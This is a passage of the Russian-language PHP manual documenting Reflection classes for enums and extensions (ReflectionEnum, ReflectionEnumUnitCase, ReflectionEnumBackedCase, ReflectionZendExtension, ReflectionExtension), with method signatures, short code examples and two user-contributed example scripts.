public ReflectionClass::isInstantiable(): bool
public ReflectionClass::isInterface(): bool
public ReflectionClass::isInternal(): bool
public ReflectionClass::isIterable(): bool
public ReflectionClass::isReadOnly(): bool
public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool
public ReflectionClass::isTrait(): bool
public ReflectionClass::isUserDefined(): bool
public ReflectionClass::newInstance(mixed ...$args): object
public ReflectionClass::newInstanceArgs(array $args = []): ?object
public ReflectionClass::newInstanceWithoutConstructor(): object
public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void
public ReflectionClass::__toString(): string
}

Смотрите также

  • Перечисления

Содержание

  • ReflectionEnum::__construct — Создаёт объект ReflectionEnum
  • ReflectionEnum::getBackingType — Получает тип перечисления, если есть
  • ReflectionEnum::getCase — Возвращает определённый вариант перечисления
  • ReflectionEnum::getCases — Возвращает список всех вариантов перечисления
  • ReflectionEnum::hasCase — Проверяет вариант перечисления
  • ReflectionEnum::isBacked — Определяет, является ли перечисление типизированным

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект ReflectionEnum

  • « ReflectionEnum
  • ReflectionEnum::getBackingType »
  • PHP Manual
  • ReflectionEnum
  • Создаёт объект ReflectionEnum

ReflectionEnum::__construct

(PHP 8 >= 8.1.0)

ReflectionEnum::__construct — Создаёт объект ReflectionEnum

Описание

public ReflectionEnum::__construct(object|string $objectOrClass)

Список параметров

objectOrClass

Экземпляр перечисления или имя.

User Contributed Notes

There are no user contributed notes for this page.


Получает тип перечисления, если есть

  • « ReflectionEnum::__construct
  • ReflectionEnum::getCase »
  • PHP Manual
  • ReflectionEnum
  • Получает тип перечисления, если есть

ReflectionEnum::getBackingType

(PHP 8 >= 8.1.0)

ReflectionEnum::getBackingType — Получает тип перечисления, если есть

Описание

public ReflectionEnum::getBackingType(): ?ReflectionNamedType

Если перечисление является типизированным, этот метод вернёт экземпляр ReflectionType типа перечисления. Если это не типизированное перечисление, метод вернёт null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр ReflectionNamedType или null, если перечисление не типизированное.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь ?ReflectionNamedType; ранее тип возвращаемого значения был ?ReflectionType.

Примеры

Пример #1 Пример использования ReflectionEnum::getBackingType()

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$rEnum = new ReflectionEnum(Suit::class);

$rBackingType = $rEnum->getBackingType();

var_dump((string)$rBackingType);
?>

Результат выполнения приведённого примера:

string(6) "string"

Смотрите также

  • Перечисления
  • ReflectionEnum::isBacked() - Определяет, является ли перечисление типизированным

User Contributed Notes

There are no user contributed notes for this page.


Возвращает определённый вариант перечисления

  • « ReflectionEnum::getBackingType
  • ReflectionEnum::getCases »
  • PHP Manual
  • ReflectionEnum
  • Возвращает определённый вариант перечисления

ReflectionEnum::getCase

(PHP 8 >= 8.1.0)

ReflectionEnum::getCase — Возвращает определённый вариант перечисления

Описание

public ReflectionEnum::getCase(string $name): ReflectionEnumUnitCase

Возвращает Reflection-объект для определённого варианта перечисления по имени. Если запрошенный вариант не определён, выбрасывается ReflectionException.

Список параметров

name

Название варианта, который нужно получить.

Возвращаемые значения

Экземпляр ReflectionEnumUnitCase или ReflectionEnumBackedCase в зависимости от ситуации.

Примеры

Пример #1 Пример использования ReflectionEnum::getCase()

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Clubs');

var_dump($rCase->getValue());
?>

Результат выполнения приведённого примера:

enum(Suit::Clubs)

Смотрите также

  • Перечисления
  • ReflectionEnum::getCases() - Возвращает список всех вариантов перечисления
  • ReflectionEnum::hasCase() - Проверяет вариант перечисления
  • ReflectionEnum::isBacked() - Определяет, является ли перечисление типизированным

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список всех вариантов перечисления

  • « ReflectionEnum::getCase
  • ReflectionEnum::hasCase »
  • PHP Manual
  • ReflectionEnum
  • Возвращает список всех вариантов перечисления

ReflectionEnum::getCases

(PHP 8 >= 8.1.0)

ReflectionEnum::getCases — Возвращает список всех вариантов перечисления

Описание

public ReflectionEnum::getCases(): array

Перечисление может содержать ноль или более вариантов. Этот метод извлекает все определённые случаи в лексическом порядке (то есть в порядке, в котором они появляются в исходном коде).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив Reflection-объектов перечисления, по одному для каждого варианта перечисления. Для простых перечислений все они будут экземплярами ReflectionEnumUnitCase. Для типизированных перечислений все они будут экземплярами ReflectionEnumBackedCase.

Примеры

Пример #1 Пример использования ReflectionEnum::getCases()

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$cases = $rEnum->getCases();

foreach ($cases as $rCase) {
var_dump($rCase->getValue());
}
?>

Результат выполнения приведённого примера:

enum(Suit::Hearts)
enum(Suit::Diamonds)
enum(Suit::Clubs)
enum(Suit::Spades)

Смотрите также

  • Перечисления
  • ReflectionEnum::getCase() - Возвращает определённый вариант перечисления
  • ReflectionEnum::isBacked() - Определяет, является ли перечисление типизированным

User Contributed Notes

There are no user contributed notes for this page.


Проверяет вариант перечисления

  • « ReflectionEnum::getCases
  • ReflectionEnum::isBacked »
  • PHP Manual
  • ReflectionEnum
  • Проверяет вариант перечисления

ReflectionEnum::hasCase

(PHP 8 >= 8.1.0)

ReflectionEnum::hasCase — Проверяет вариант перечисления

Описание

public ReflectionEnum::hasCase(string $name): bool

Возвращает, определён ли данный вариант перечисления.

Список параметров

name

Вариант перечисления для проверки.

Возвращаемые значения

Возвращает true, если вариант определён, в противном случае возвращает false.

Примеры

Пример #1 Пример использования ReflectionEnum::hasCase()

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

var_dump($rEnum->hasCase('Hearts'));
var_dump($rEnum->hasCase('Horseshoes'));
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

Смотрите также

  • Перечисления
  • ReflectionEnum::getCase() - Возвращает определённый вариант перечисления
  • ReflectionEnum::getCases() - Возвращает список всех вариантов перечисления

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли перечисление типизированным

  • « ReflectionEnum::hasCase
  • ReflectionEnumUnitCase »
  • PHP Manual
  • ReflectionEnum
  • Определяет, является ли перечисление типизированным

ReflectionEnum::isBacked

(PHP 8 >= 8.1.0)

ReflectionEnum::isBacked — Определяет, является ли перечисление типизированным

Описание

public ReflectionEnum::isBacked(): bool

Типизированное перечисление - имеет собственный скалярный эквивалент, либо строку (string), либо целое число (int). Не все перечисления являются типизированными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если перечисление является типизированным, в противном случае возвращает false.

Примеры

Пример #1 Пример использования ReflectionEnum::isBacked()

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

enum BackedSuit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

var_dump((new ReflectionEnum(Suit::class))->isBacked());
var_dump((new ReflectionEnum(BackedSuit::class))->isBacked());
?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • Перечисления
  • ReflectionEnum::getBackingType() - Получает тип перечисления, если есть

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionEnumUnitCase

(PHP 8 >= 8.1.0)

Введение

Класс ReflectionEnumUnitCase сообщает информацию о варианте перечисления, который не имеет скалярного эквивалента.

Обзор классов

class ReflectionEnumUnitCase extends ReflectionClassConstant {
/* Наследуемые константы */
public const int ReflectionClassConstant::IS_PUBLIC;
public const int ReflectionClassConstant::IS_PROTECTED;
public const int ReflectionClassConstant::IS_PRIVATE;
public const int ReflectionClassConstant::IS_FINAL;
/* Наследуемые свойства */
public string $name;
public string $class;
/* Методы */
public __construct(object|string $class, string $constant)
public getEnum(): ReflectionEnum
public getValue(): UnitEnum
/* Наследуемые методы */
public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string
public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClassConstant::getDeclaringClass(): ReflectionClass
public ReflectionClassConstant::getDocComment(): string|false
public ReflectionClassConstant::getModifiers(): int
public ReflectionClassConstant::getName(): string
public ReflectionClassConstant::getValue(): mixed
public ReflectionClassConstant::isEnumCase(): bool
public ReflectionClassConstant::isFinal(): bool
public ReflectionClassConstant::isPrivate(): bool
public ReflectionClassConstant::isProtected(): bool
public ReflectionClassConstant::isPublic(): bool
public ReflectionClassConstant::__toString(): string
}

Смотрите также

  • Перечисления
  • ReflectionEnumBackedCase

Содержание

  • ReflectionEnumUnitCase::__construct — Создаёт экземпляр объекта ReflectionEnumUnitCase
  • ReflectionEnumUnitCase::getEnum — Получает Reflection-объект перечисления этого варианта
  • ReflectionEnumUnitCase::getValue — Получает объект варианта перечисления, описанный Reflection-объектом

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр объекта ReflectionEnumUnitCase

  • « ReflectionEnumUnitCase
  • ReflectionEnumUnitCase::getEnum »
  • PHP Manual
  • ReflectionEnumUnitCase
  • Создаёт экземпляр объекта ReflectionEnumUnitCase

ReflectionEnumUnitCase::__construct

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::__construct — Создаёт экземпляр объекта ReflectionEnumUnitCase

Описание

public ReflectionEnumUnitCase::__construct(object|string $class, string $constant)

Список параметров

class

Экземпляр перечисления или имя.

constant

Имя константы перечисления.

User Contributed Notes

There are no user contributed notes for this page.


Получает Reflection-объект перечисления этого варианта

  • « ReflectionEnumUnitCase::__construct
  • ReflectionEnumUnitCase::getValue »
  • PHP Manual
  • ReflectionEnumUnitCase
  • Получает Reflection-объект перечисления этого варианта

ReflectionEnumUnitCase::getEnum

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::getEnum — Получает Reflection-объект перечисления этого варианта

Описание

public ReflectionEnumUnitCase::getEnum(): ReflectionEnum

Получает Reflection-объект перечисления этого варианта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр ReflectionEnum, описывающий перечисление, которому принадлежит этот вариант.

Смотрите также

  • Перечисления

User Contributed Notes

There are no user contributed notes for this page.


Получает объект варианта перечисления, описанный Reflection-объектом

  • « ReflectionEnumUnitCase::getEnum
  • ReflectionEnumBackedCase »
  • PHP Manual
  • ReflectionEnumUnitCase
  • Получает объект варианта перечисления, описанный Reflection-объектом

ReflectionEnumUnitCase::getValue

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::getValue — Получает объект варианта перечисления, описанный Reflection-объектом

Описание

public ReflectionEnumUnitCase::getValue(): UnitEnum

Возвращает объект варианта перечисления, описанный Reflection-объектом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект варианта перечисления, описанный Reflection-объектом.

Примеры

Пример #1 Пример использования ReflectionEnum::getValue()

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Diamonds');

var_dump($rCase->getValue());
?>

Результат выполнения приведённого примера:

enum(Suit::Diamonds)

Смотрите также

  • Перечисления

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionEnumBackedCase

(PHP 8 >= 8.1.0)

Введение

Класс ReflectionEnumBackedCase сообщает информацию о варианте типизированного перечисления, у которого есть скалярный эквивалент.

Обзор классов

class ReflectionEnumBackedCase extends ReflectionEnumUnitCase {
/* Наследуемые константы */
public const int ReflectionClassConstant::IS_PUBLIC;
public const int ReflectionClassConstant::IS_PROTECTED;
public const int ReflectionClassConstant::IS_PRIVATE;
public const int ReflectionClassConstant::IS_FINAL;
/* Наследуемые свойства */
public string $name;
public string $class;
/* Методы */
public __construct(object|string $class, string $constant)
public getBackingValue(): int|string
/* Наследуемые методы */
public ReflectionEnumUnitCase::getEnum(): ReflectionEnum
public ReflectionEnumUnitCase::getValue(): UnitEnum
public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string
public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClassConstant::getDeclaringClass(): ReflectionClass
public ReflectionClassConstant::getDocComment(): string|false
public ReflectionClassConstant::getModifiers(): int
public ReflectionClassConstant::getName(): string
public ReflectionClassConstant::getValue(): mixed
public ReflectionClassConstant::isEnumCase(): bool
public ReflectionClassConstant::isFinal(): bool
public ReflectionClassConstant::isPrivate(): bool
public ReflectionClassConstant::isProtected(): bool
public ReflectionClassConstant::isPublic(): bool
public ReflectionClassConstant::__toString(): string
}

Смотрите также

  • Перечисления
  • ReflectionEnumUnitCase

Содержание

  • ReflectionEnumBackedCase::__construct — Создаёт объект ReflectionEnumBackedCase
  • ReflectionEnumBackedCase::getBackingValue — Получает скалярное значение варианта перечисления

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект ReflectionEnumBackedCase

  • « ReflectionEnumBackedCase
  • ReflectionEnumBackedCase::getBackingValue »
  • PHP Manual
  • ReflectionEnumBackedCase
  • Создаёт объект ReflectionEnumBackedCase

ReflectionEnumBackedCase::__construct

(PHP 8 >= 8.1.0)

ReflectionEnumBackedCase::__construct — Создаёт объект ReflectionEnumBackedCase

Описание

public ReflectionEnumBackedCase::__construct(object|string $class, string $constant)

Список параметров

class

Экземпляр перечисления или имя.

constant

Имя константы перечисления.

User Contributed Notes

There are no user contributed notes for this page.


Получает скалярное значение варианта перечисления

  • « ReflectionEnumBackedCase::__construct
  • ReflectionZendExtension »
  • PHP Manual
  • ReflectionEnumBackedCase
  • Получает скалярное значение варианта перечисления

ReflectionEnumBackedCase::getBackingValue

(PHP 8 >= 8.1.0)

ReflectionEnumBackedCase::getBackingValue — Получает скалярное значение варианта перечисления

Описание

public ReflectionEnumBackedCase::getBackingValue(): int|string

Получает скалярное значение варианта перечисления.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Скалярное значение варианта перечисления.

Примеры

Пример #1 Пример использования ReflectionEnum::getBackingValue()

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Spades');

var_dump($rCase->getBackingValue());
?>

Результат выполнения приведённого примера:

string(1) "S"

Смотрите также

  • Перечисления

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionZendExtension

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Обзор классов

class ReflectionZendExtension implements Reflector {
/* Свойства */
public string $name;
/* Методы */
public __construct(string $name)
private __clone(): void
public static export(string $name, bool $return = ?): string
public getAuthor(): string
public getCopyright(): string
public getName(): string
public getURL(): string
public getVersion(): string
public __toString(): string
}

Свойства

name

Имя модуля. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionZendExtension::export() был удалён.

Содержание

  • ReflectionZendExtension::__clone — Обработчик клонирования
  • ReflectionZendExtension::__construct — Создаёт объект ReflectionZendExtension
  • ReflectionZendExtension::export — Экспорт
  • ReflectionZendExtension::getAuthor — Получает автора
  • ReflectionZendExtension::getCopyright — Получает авторские права
  • ReflectionZendExtension::getName — Получает имя
  • ReflectionZendExtension::getURL — Получает URL
  • ReflectionZendExtension::getVersion — Получает версию
  • ReflectionZendExtension::__toString — Обработчик преобразования в строку

User Contributed Notes

There are no user contributed notes for this page.


Обработчик клонирования

  • « ReflectionZendExtension
  • ReflectionZendExtension::__construct »
  • PHP Manual
  • ReflectionZendExtension
  • Обработчик клонирования

ReflectionZendExtension::__clone

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__clone — Обработчик клонирования

Описание

private ReflectionZendExtension::__clone(): void

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Список изменений

Версия | Описание
8.1.0 | Метод больше не является окончательным (final).

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект ReflectionZendExtension

  • « ReflectionZendExtension::__clone
  • ReflectionZendExtension::export »
  • PHP Manual
  • ReflectionZendExtension
  • Создаёт объект ReflectionZendExtension

ReflectionZendExtension::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__construct — Создаёт объект ReflectionZendExtension

Описание

public ReflectionZendExtension::__construct(string $name)

Создаёт объект ReflectionZendExtension.

Список параметров

name

Имя модуля.

Ошибки

Выбрасывает исключение ReflectionException, если указанный модуль не существует.

User Contributed Notes

There are no user contributed notes for this page.


Экспорт

  • « ReflectionZendExtension::__construct
  • ReflectionZendExtension::getAuthor »
  • PHP Manual
  • ReflectionZendExtension
  • Экспорт

ReflectionZendExtension::export

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::export — Экспорт

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionZendExtension::export(string $name, bool $return = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

name

return

Возвращаемые значения

Смотрите также

  • ReflectionClassConstant::__toString() - Возвращает строковое представление объекта ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Получает автора

  • « ReflectionZendExtension::export
  • ReflectionZendExtension::getCopyright »
  • PHP Manual
  • ReflectionZendExtension
  • Получает автора

ReflectionZendExtension::getAuthor

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getAuthor — Получает автора

Описание

public ReflectionZendExtension::getAuthor(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает авторские права

  • « ReflectionZendExtension::getAuthor
  • ReflectionZendExtension::getName »
  • PHP Manual
  • ReflectionZendExtension
  • Получает авторские права

ReflectionZendExtension::getCopyright

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getCopyright — Получает авторские права

Описание

public ReflectionZendExtension::getCopyright(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает имя

  • « ReflectionZendExtension::getCopyright
  • ReflectionZendExtension::getURL »
  • PHP Manual
  • ReflectionZendExtension
  • Получает имя

ReflectionZendExtension::getName

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getName — Получает имя

Описание

public ReflectionZendExtension::getName(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает URL

  • « ReflectionZendExtension::getName
  • ReflectionZendExtension::getVersion »
  • PHP Manual
  • ReflectionZendExtension
  • Получает URL

ReflectionZendExtension::getURL

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getURL — Получает URL

Описание

public ReflectionZendExtension::getURL(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает версию

  • « ReflectionZendExtension::getURL
  • ReflectionZendExtension::__toString »
  • PHP Manual
  • ReflectionZendExtension
  • Получает версию

ReflectionZendExtension::getVersion

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getVersion — Получает версию

Описание

public ReflectionZendExtension::getVersion(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обработчик преобразования в строку

  • « ReflectionZendExtension::getVersion
  • ReflectionExtension »
  • PHP Manual
  • ReflectionZendExtension
  • Обработчик преобразования в строку

ReflectionZendExtension::__toString

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__toString — Обработчик преобразования в строку

Описание

public ReflectionZendExtension::__toString(): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionExtension

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionExtension сообщает информацию о модулях.

Обзор классов

class ReflectionExtension implements Reflector {
/* Свойства */
public string $name;
/* Методы */
public __construct(string $name)
private __clone(): void
public static export(string $name, string $return = false): string
public getClasses(): array
public getClassNames(): array
public getConstants(): array
public getDependencies(): array
public getFunctions(): array
public getINIEntries(): array
public getName(): string
public getVersion(): ?string
public info(): void
public isPersistent(): bool
public isTemporary(): bool
public __toString(): string
}

Свойства

name

Имя модуля. Значение свойства совпадает с тем, что возвращает метод ReflectionExtension::getName()

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionExtension::export() был удалён.

Содержание

  • ReflectionExtension::__clone — Клонирует объект
  • ReflectionExtension::__construct — Создаёт объект класса ReflectionExtension
  • ReflectionExtension::export — Экспортирует модуль
  • ReflectionExtension::getClasses — Возвращает классы
  • ReflectionExtension::getClassNames — Получение имён классов
  • ReflectionExtension::getConstants — Получение констант
  • ReflectionExtension::getDependencies — Получение зависимостей
  • ReflectionExtension::getFunctions — Получение функций модуля
  • ReflectionExtension::getINIEntries — Получение ini-настроек модуля
  • ReflectionExtension::getName — Получение имени модуля
  • ReflectionExtension::getVersion — Получение версии модуля
  • ReflectionExtension::info — Вывод информации о модуле
  • ReflectionExtension::isPersistent — Определяет, является ли модуль постоянным
  • ReflectionExtension::isTemporary — Определяет, является ли модуль временным
  • ReflectionExtension::__toString — Преобразование в строку

User Contributed Notes

Anonymous 20-Mar-2016 03:01
<?php
  // Create an instance of the ReflectionProperty class
  $ext= new ReflectionExtension('standard');

  // Print out basic information
  printf(
      "Name        : %s\n".
      "Version     : %s\n".
      "Functions   : [%d] %s\n".
      "Constants   : [%d] %s\n".
      "INI entries : [%d] %s\n",
      $ext->getName(),
      $ext->getVersion() ? $ext->getVersion() : 'NO_VERSION',
      sizeof($ext->getFunctions()),
      var_export($ext->getFunctions(), 1),
      sizeof($ext->getConstants()),
      var_export($ext->getConstants(), 1),
      sizeof($ext->getINIEntries()),
      var_export($ext->getINIEntries(), 1)
  );
?>
Lubaev.K 20-Jun-2013 03:01
<?php
// The demonstration for the class "ReflectionExtension".

function REData(ReflectionExtension $re, $return=false) {

    defined('UNDEFINED') || define('UNDEFINED','%undefined%');
    $_data = [];

    $_data['getName:'] = $re->getName() ?: UNDEFINED;
    $_data['getVersion:'] = $re->getVersion() ?: UNDEFINED;
    $_data['info:'] = $re->info() ?: UNDEFINED;
    $_data['getClassName:'] = PHP_EOL.implode(", ",$re->getClassNames()) ?: UNDEFINED;
    foreach ($re->getConstants() as $key => $value) $_data['getConstants:'] .= "\n{$key}:={$value}";
    $_data['getDependencies:'] = $re->getDependencies() ?: UNDEFINED;
    $_data['getFunctions:'] = PHP_EOL.implode(", ",array_keys($re->getFunctions())) ?: UNDEFINED;
    $_data['getINIEntries:'] = $re->getINIEntries() ?: UNDEFINED;
    $_data['isPersistent:'] = $re->isPersistent() ?: UNDEFINED;
    $_data['isTemporary:'] = $re->isTemporary() ?: UNDEFINED;

    return print_r($_data, $return);
}

REData( new ReflectionExtension( 'Reflection' ) );
REData( new ReflectionExtension( 'zlib' ) );

// Reflection
// Reflection => enabled
// Version => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
/*
Array
(
    [getName:] => Reflection
    [getVersion:] => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
    [info:] => %undefined%
    [getClassName:] =>
ReflectionException, Reflection, Reflector, ReflectionFunctionAbstract, Reflecti
onFunction, ReflectionParameter, ReflectionMethod, ReflectionClass, ReflectionOb
ject, ReflectionProperty, ReflectionExtension, ReflectionZendExtension
    [getDependencies:] => %undefined%
    [getFunctions:] =>

    [getINIEntries:] => %undefined%
    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/
// zlib
// ZLib Support => enabled
// Stream Wrapper => compress.zlib://
// Stream Filter => zlib.inflate, zlib.deflate
// Compiled Version => 1.2.7
// Linked Version => 1.2.7
// Directive => Local Value => Master Value
// zlib.output_compression => Off => Off
// zlib.output_compression_level => -1 => -1
// zlib.output_handler => no value => no value
/*
Array
(
    [getName:] => zlib
    [getVersion:] => 2.0
    [info:] => %undefined%
    [getClassName:] =>

    [getConstants:] =>
FORCE_GZIP:=31
FORCE_DEFLATE:=15
ZLIB_ENCODING_RAW:=-15
ZLIB_ENCODING_GZIP:=31
ZLIB_ENCODING_DEFLATE:=15
    [getDependencies:] => %undefined%
    [getFunctions:] =>
readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, g
zpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gz
deflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_codin
g_type, ob_gzhandler
    [getINIEntries:] => Array
        (
            [zlib.output_compression] =>
            [zlib.output_compression_level] => -1
            [zlib.output_handler] =>
        )

    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/


Клонирует объект

  • « ReflectionExtension
  • ReflectionExtension::__construct »
  • PHP Manual
  • ReflectionExtension
  • Клонирует объект

ReflectionExtension::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__clone — Клонирует объект

Описание

private ReflectionExtension::__clone(): void

Метод clone предотвращает клонирование объекта. Объекты reflection не могут быть клонированы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод ничего не возвращает, в случае вызова возникает фатальная ошибка.

Список изменений

Версия | Описание
8.1.0 | Метод больше не является окончательным (final).

Смотрите также

  • ReflectionExtension::__construct() - Создаёт объект класса ReflectionExtension
  • Клонирование объектов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект класса ReflectionExtension

  • « ReflectionExtension::__clone
  • ReflectionExtension::export »
  • PHP Manual
  • ReflectionExtension
  • Создаёт объект класса ReflectionExtension

ReflectionExtension::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__construct — Создаёт объект класса ReflectionExtension

Описание

public ReflectionExtension::__construct(string $name)

Создаёт объект (object) класса ReflectionExtension.

Список параметров

name

Имя модуля.

Ошибки

Выбрасывает исключение ReflectionException, если модуль не существует.

Примеры

Пример #1 Пример использования ReflectionExtension

<?php
$ext = new ReflectionExtension('Reflection');

printf('Модуль: %s (версия: %s)', $ext->getName(), $ext->getVersion());
?>

Вывод приведённого примера будет похож на:

Модуль: Reflection (версия: $Revision$)

Смотрите также

  • ReflectionExtension::info() - Вывод информации о модуле
  • Конструкторы

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует модуль

  • « ReflectionExtension::__construct
  • ReflectionExtension::getClasses »
  • PHP Manual
  • ReflectionExtension
  • Экспортирует модуль

ReflectionExtension::export

(PHP 5, PHP 7)

ReflectionExtension::export — Экспортирует модуль

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionExtension::export(string $name, string $return = false): string

Экспортирует отражённый модуль. Формат вывода этой функции такой же как и при CLI-параметре --re [extension].

Список параметров

name

Название или объект класса для экспорта.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Смотрите также

  • ReflectionExtension::info() - Вывод информации о модуле
  • ReflectionExtension::__toString() - Преобразование в строку

User Contributed Notes

There are no user contributed notes for this page.


Возвращает классы

  • « ReflectionExtension::export
  • ReflectionExtension::getClassNames »
  • PHP Manual
  • ReflectionExtension
  • Возвращает классы

ReflectionExtension::getClasses

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getClasses — Возвращает классы

Описание

public ReflectionExtension::getClasses(): array

Возвращает список классов модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов класса ReflectionClass, по одному на каждый класс модуля. Если не определено ни одного класса, то возвращается пустой массив.

Примеры

Пример #1 Пример использования ReflectionExtension::getClasses()

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClasses());
?>

Вывод приведённого примера будет похож на:

array(1) {
  ["XMLWriter"]=>
  object(ReflectionClass)#2 (1) {
    ["name"]=>
    string(9) "XMLWriter"
  }
}

Смотрите также

  • ReflectionExtension::getClassNames() - Получение имён классов

User Contributed Notes

There are no user contributed notes for this page.


Получение имён классов

  • « ReflectionExtension::getClasses
  • ReflectionExtension::getConstants »
  • PHP Manual
  • ReflectionExtension
  • Получение имён классов

ReflectionExtension::getClassNames

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getClassNames — Получение имён классов

Описание

public ReflectionExtension::getClassNames(): array

Получает список имён классов, как они определены в модуле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) имён классов, определённых в модуле. Если никаких классов не определено, будет возвращён пустой массив.

Примеры

Пример #1 Пример использования ReflectionExtension::getClassNames()

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClassNames());
?>

Вывод приведённого примера будет похож на:

array(1) {
  [0]=>
  string(9) "XMLWriter"
}

Смотрите также

  • ReflectionExtension::getClasses() - Возвращает классы
  • ReflectionExtension::getName() - Получение имени модуля

User Contributed Notes

There are no user contributed notes for this page.


Получение констант

  • « ReflectionExtension::getClassNames
